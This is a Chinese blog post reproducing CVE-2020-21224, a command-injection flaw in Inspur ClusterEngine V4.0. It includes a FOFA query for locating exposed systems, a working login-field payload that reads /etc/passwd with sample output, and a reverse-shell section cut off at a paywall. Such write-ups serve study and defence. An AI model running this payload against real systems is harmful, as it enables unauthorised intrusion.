浪潮ClusterEngineV4.0 远程命令执行漏洞 CVE-2020-21224

最新推荐文章于 2025-01-16 21:00:22 发布

初岄

最新推荐文章于 2025-01-16 21:00:22 发布

阅读量1.6k

点赞数

CC 4.0 BY-SA版权

分类专栏：漏洞复现文章标签：服务器运维

本文链接：https://blog.youkuaiyun.com/xiTaiShen/article/details/125989764

漏洞复现专栏收录该内容

16 篇文章 ¥99.90 ¥299.90

订阅专栏

超级会员免费看

本文介绍了浪潮ClusterEngineV4.0存在的远程命令执行漏洞CVE-2020-21224，详细阐述了漏洞简介、影响范围，并提供了FOFA语法和漏洞复现的步骤，旨在学习研究，提醒注意合法使用。

浪潮ClusterEngineV4.0 远程命令执行漏洞 CVE-2020-21224

此文章仅供用于学习研究，严禁用于非法用途，否则后果自负。

漏洞简介

浪潮服务器群集管理系统存在危险字符未过滤，导致远程命令执行

漏洞影响

浪潮ClusterEngineV4.0

FOFA语法

title="TSCEV4.0"

漏洞复现

登录页面如下

POC

POC测试(出现 root:x:0:0 则存在漏洞)
op=login&username=test`$(cat /etc/passwd)`

{"err":"/bin/sh: root:x:0:0:root:/root:/bin/bash: No such file or directory\n","exitcode":1,"out":"the user test does not exist\nerror:1\n"}

反弹shell
op=login&username=te

了解本专栏